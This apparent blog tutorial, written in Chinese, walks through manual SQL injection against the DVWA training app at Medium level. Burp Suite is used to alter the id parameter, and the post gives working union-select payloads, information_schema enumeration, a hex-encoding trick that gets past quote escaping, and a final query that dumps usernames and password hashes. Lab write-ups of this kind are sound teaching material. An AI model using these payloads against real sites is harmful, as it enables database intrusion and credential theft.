DVWA实验--SQL手工注入(Medium)

一、前期准备

我们将dvwa的安全级别设置为medium,

image

然后可以看到

已经对sql语句有所限制了

image

查看源代码,

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

image

这个时候虽然不能像之前一样直接通过页面提交注入语句,但是我们仍然可以通过抓捕改参数来提交恶意构造的查询参数。

二、配置工具

浏览器启用代理,然后打开抓包工具Burp Suite

image

image

三、开始工作

1. 判断是否存在注入,注入是字符型还是数字型

抓包更改参数id为1′ or 1=1 #

报错

image

改参数为1 or 1=1#

image

查询成功:

image

说明存在数字型注入

2. 猜解SQL查询语句中的字段数

抓包改参数id为1 order by 2 #,

image

查询成功:

image

抓包更改参数id为1 order by 3 #

image

报错

image

说明执行的SQL查询语句中只有两个字段

3. 确定显示的字段顺序

抓包更改参数id为1 union select 1,2 #,

image

说明执行的SQL语句为select First name,Surname from 表 where ID=id…

4. 获得数据库名称以及版本

抓包更改参数id为1 union select version(),database() #,

image

image

5. 获得数据库中所有表

抓包改参数id为

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

image

查询成功

image

说明数据库dvwa中一共有两个表,guestbook与users。

6. 获取表中的字段名

本来应该抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users ' #

但是源码中单引号被转义了,变成了\’,可以利用16进制绕过

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

image

查询成功:

image

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7. 获取密码字段的数据

抓包修改参数id为1 union select user,password from users#

image

查询成功

image

posted @ 2020-01-14 15:48  Adosa(无嗔)  阅读(1234)  评论(0编辑  收藏  举报
levels of contents